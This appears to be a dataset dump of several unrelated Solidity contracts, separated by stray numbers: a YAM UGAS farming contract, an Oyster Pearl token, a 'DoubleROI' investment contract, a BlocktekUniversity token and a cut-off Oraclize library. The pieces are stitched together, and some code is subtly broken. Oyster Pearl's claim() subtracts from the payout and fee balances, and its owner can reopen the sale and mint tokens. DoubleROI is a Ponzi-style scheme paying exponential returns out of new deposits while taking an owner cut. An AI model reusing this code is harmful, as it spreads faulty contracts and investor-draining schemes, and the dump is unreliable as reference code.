quote(purchaseAmount, saleAmount); uint256 minimum = bounds(uniswap_quote); uint256 maximum = bounds_max(uniswap_quote); return quoted > minimum && quoted < maximum; } function update_twap() public { (uint256 sell_token_priceCumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices( address(uniswap_pair), false ); uint32 timeElapsed = blockTimestamp - block_timestamp_last; require(timeElapsed >= MIN_TWAP_TIME, "OTC: MIN_TWAP_TIME NOT ELAPSED"); price_cumulative_last = sell_token_priceCumulative; block_timestamp_last = blockTimestamp; } function consult() internal view returns (uint256) { (uint256 sell_token_priceCumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices( address(uniswap_pair), false ); uint32 timeElapsed = blockTimestamp - block_timestamp_last; uint256 priceAverageSell = uint256( uint224( (sell_token_priceCumulative - price_cumulative_last) / timeElapsed ) ); uint256 purchasePrice; if (priceAverageSell > uint192(-1)) { purchasePrice = (priceAverageSell >> 112) * ONE; } else { purchasePrice = (priceAverageSell * ONE) >> 112; } return purchasePrice; } modifier timeBoundsCheck() { uint256 elapsed_since_update = block.timestamp - block_timestamp_last; require( block.timestamp - block_timestamp_last < MAX_TWAP_TIME, "Cumulative price snapshot too old" ); require( block.timestamp - block_timestamp_last > MIN_TWAP_TIME, "Cumulative price snapshot too new" ); _; } } interface SynthMinter { struct Unsigned { uint256 rawValue; } struct PositionData { Unsigned tokensOutstanding; uint256 withdrawalRequestPassTimestamp; Unsigned withdrawalRequestAmount; Unsigned rawCollateral; uint256 transferPositionRequestPassTimestamp; } function create( Unsigned calldata collateralAmount, Unsigned calldata numTokens ) external; function redeem(Unsigned calldata debt_amount) external returns(Unsigned memory); function withdraw(Unsigned calldata collateral_amount) external; function positions(address account) external returns (PositionData memory); function settleExpired() external returns (Unsigned memory); function expire() external; } contract UGASSEPTFarming is TWAPBoundedUGASSEPT, UniHelper, YamSubGoverned { enum ACTION { ENTER, EXIT } constructor(address gov_) public { gov = gov_; } SynthMinter minter = SynthMinter(0xcA2531b9CD04daf0c9114D853e7A83D8528f20bD); bool completed = true; ACTION action; address internal constant RESERVES = address(0x97990B693835da58A281636296D2Bf02787DEa17); function _mint(uint256 collateral_amount, uint256 mint_amount) internal { WETH.transferFrom(RESERVES, address(this), collateral_amount); WETH.approve(address(minter), uint256(-1)); minter.create( SynthMinter.Unsigned(collateral_amount), SynthMinter.Unsigned(mint_amount) ); } function _repayAndWithdraw() internal { SEPT_UGAS.approve(address(minter), uint256(-1)); SynthMinter.PositionData memory position = minter.positions( address(this) ); uint256 ugasBalance = SEPT_UGAS.balanceOf(address(this)); if (ugasBalance >= position.tokensOutstanding.rawValue) { minter.redeem(position.tokensOutstanding); } else { minter.redeem( SynthMinter.Unsigned( position.tokensOutstanding.rawValue - ugasBalance <= 5 * 10**18 ? position.tokensOutstanding.rawValue - 5 * 10**18 : ugasBalance ) ); } } function enter() public timeBoundsCheck { require(action == ACTION.ENTER, "Wrong action"); require(!completed, "Action completed"); uint256 ugasReserves; uint256 wethReserves; (wethReserves,ugasReserves, ) = uniswap_pair.getReserves(); require( withinBounds(wethReserves, ugasReserves), "Market rate is outside bounds" ); uint256 wethBalance = 300 * (10**18); uint256 collateral_amount = (wethBalance * 79) / 100; uint256 mint_amount = (collateral_amount * ugasReserves) / wethReserves / 4; _mint(collateral_amount, mint_amount); _mintLPToken(uniswap_pair, WETH, SEPT_UGAS, mint_amount, RESERVES); completed = true; } function exit() public timeBoundsCheck { require(action == ACTION.EXIT); require(!completed, "Action completed"); uint256 ugasReserves; uint256 wethReserves; (wethReserves,ugasReserves, ) = uniswap_pair.getReserves(); require( withinBounds(wethReserves, ugasReserves), "Market rate is outside bounds" ); _burnLPToken(uniswap_pair, address(this)); _repayAndWithdraw(); WETH.transfer(RESERVES, WETH.balanceOf(address(this))); uint256 ugasBalance = SEPT_UGAS.balanceOf(address(this)); if (ugasBalance > 0) { SEPT_UGAS.transfer(RESERVES, ugasBalance); } completed = true; } function _approveEnter() public onlyGovOrSubGov { completed = false; action = ACTION.ENTER; } function _approveExit() public onlyGovOrSubGov { completed = false; action = ACTION.EXIT; } function _redeem(uint256 debt_to_pay) public onlyGovOrSubGov { minter.redeem(SynthMinter.Unsigned(debt_to_pay)); } function _withdrawCollateral(uint256 amount_to_withdraw) public onlyGovOrSubGov { minter.withdraw(SynthMinter.Unsigned(amount_to_withdraw)); } function _settleExpired() public onlyGovOrSubGov { minter.settleExpired(); } function masterFallback(address target, bytes memory data) public onlyGovOrSubGov { target.call.value(0)(data); } function _getTokenFromHere(address token) public onlyGovOrSubGov { IERC20 t = IERC20(token); t.transfer(RESERVES, t.balanceOf(address(this))); } }
0
1,707
pragma solidity ^0.4.17; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract OysterPearl { string public name = "Oyster Pearl"; string public symbol = "TPRL"; uint8 public decimals = 18; uint256 public totalSupply; uint256 public funds = 0; address public owner; bool public saleClosed = false; bool public ownerLock = false; uint256 public claimAmount; uint256 public payAmount; uint256 public feeAmount; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public buried; mapping (address => uint256) public claimed; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); event Bury(address indexed target, uint256 value); event Claim(address indexed payout, address indexed fee); function OysterPearl() public { owner = msg.sender; totalSupply = 0; totalSupply += 25000000 * 10 ** uint256(decimals); totalSupply += 75000000 * 10 ** uint256(decimals); totalSupply += 1000000 * 10 ** uint256(decimals); balanceOf[owner] = totalSupply; claimAmount = 5 * 10 ** (uint256(decimals) - 1); payAmount = 4 * 10 ** (uint256(decimals) - 1); feeAmount = 1 * 10 ** (uint256(decimals) - 1); } modifier onlyOwner { require(!ownerLock); require(block.number < 8000000); require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { owner = newOwner; } function selfLock() public onlyOwner { ownerLock = true; } function amendAmount(uint8 claimAmountSet, uint8 payAmountSet, uint8 feeAmountSet) public onlyOwner { require(claimAmountSet == (payAmountSet + feeAmountSet)); claimAmount = claimAmountSet * 10 ** (uint256(decimals) - 1); payAmount = payAmountSet * 10 ** (uint256(decimals) - 1); feeAmount = feeAmountSet * 10 ** (uint256(decimals) - 1); } function closeSale() public onlyOwner { saleClosed = true; } function openSale() public onlyOwner { saleClosed = false; } function bury() public { require(balanceOf[msg.sender] > claimAmount); require(!buried[msg.sender]); buried[msg.sender] = true; claimed[msg.sender] = 1; Bury(msg.sender, balanceOf[msg.sender]); } function claim(address _payout, address _fee) public { require(buried[msg.sender]); require(claimed[msg.sender] == 1 || (block.timestamp - claimed[msg.sender]) >= 60); require(balanceOf[msg.sender] >= claimAmount); claimed[msg.sender] = block.timestamp; balanceOf[msg.sender] -= claimAmount; balanceOf[_payout] -= payAmount; balanceOf[_fee] -= feeAmount; Claim(_payout, _fee); } function () payable public { require(!saleClosed); require(msg.value >= 1 finney); uint256 amount = msg.value * 5000; require(totalSupply + amount <= (500000000 * 10 ** uint256(decimals))); totalSupply += amount; balanceOf[msg.sender] += amount; funds += msg.value; Transfer(this, msg.sender, amount); } function withdrawFunds() public onlyOwner { owner.transfer(this.balance); } function _transfer(address _from, address _to, uint _value) internal { require(!buried[_from]); require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } }
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5,172
pragma solidity ^0.4.24; contract DoubleROI { using SafeMath for uint256; mapping(address => uint256) investments; mapping(address => uint256) joined; mapping(address => uint256) referrer; uint256 public step = 2400; uint256 public minimum = 10 finney; uint256 public maximum = 5 ether; uint256 public stakingRequirement = 0.5 ether; address public ownerWallet; address public owner; event Invest(address investor, uint256 amount); event Withdraw(address investor, uint256 amount); event Bounty(address hunter, uint256 amount); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; ownerWallet = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; ownerWallet = newOwnerWallet; } function () public payable { buy(0x0); } function buy(address _referredBy) public payable { require(msg.value >= minimum); require(msg.value <= maximum); address _customerAddress = msg.sender; if( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && investments[_referredBy] >= stakingRequirement ){ referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100)); } if (investments[msg.sender] > 0){ withdraw(); } investments[msg.sender] = investments[msg.sender].add(msg.value); joined[msg.sender] = block.timestamp; ownerWallet.transfer(msg.value.mul(5).div(100)); emit Invest(msg.sender, msg.value); } function getBalance(address _address) view public returns (uint256) { uint256 minutesCount = now.sub(joined[_address]).div(1 minutes); uint256 userROIMultiplier = 2**(minutesCount / 60); uint256 percent; uint256 balance; for(uint i=1; i<userROIMultiplier; i=i*2){ percent = investments[_address].mul(step).div(1000) * i; balance += percent.mul(60).div(1440); } percent = investments[_address].mul(step).div(1000) * userROIMultiplier; balance += percent.mul(minutesCount % 60).div(1440); return balance; } function withdraw() public returns (bool){ require(joined[msg.sender] > 0); uint256 balance = getBalance(msg.sender); joined[msg.sender] = block.timestamp; if (address(this).balance > balance){ if (balance > 0){ msg.sender.transfer(balance); emit Withdraw(msg.sender, balance); } return true; } else { if (balance > 0) { msg.sender.transfer(address(this).balance); emit Withdraw(msg.sender, balance); } return true; } } function bounty() public { uint256 refBalance = checkReferral(msg.sender); if(refBalance >= minimum) { if (address(this).balance > refBalance) { referrer[msg.sender] = 0; msg.sender.transfer(refBalance); emit Bounty(msg.sender, refBalance); } } } function checkBalance() public view returns (uint256) { return getBalance(msg.sender); } function checkInvestments(address _investor) public view returns (uint256) { return investments[_investor]; } function checkReferral(address _hunter) public view returns (uint256) { return referrer[_hunter]; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
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pragma solidity ^0.4.11; contract BlocktekUniversity { string public symbol = ""; string public name = ""; uint8 public constant decimals = 18; uint256 _totalSupply = 0; address owner = 0; address certificateAuthoirty = 0xC3334De449a1dD1B0FEc7304339371646be8a0c9; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; function BlocktekUniversity(address adr) { owner = adr; symbol = "BKU"; name = "Blocktek University Credits"; _totalSupply = 150000000 * 10**18; balances[owner] = _totalSupply; } function totalSupply() constant returns (uint256 totalSupply) { return _totalSupply; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _amount) returns (bool success) { if (balances[msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false; } } function transferFrom( address _from, address _to, uint256 _amount ) returns (bool success) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } function approve(address _spender, uint256 _amount) returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
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pragma solidity 0.4.20; contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setConfig(bytes32 _config); function setCustomGasPrice(uint _gasPrice); function randomDS_getSessionPubKeyHash() returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) { } function oraclize_useCoupon(string code) oraclizeAPI internal { oraclize.useCoupon(code); } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; 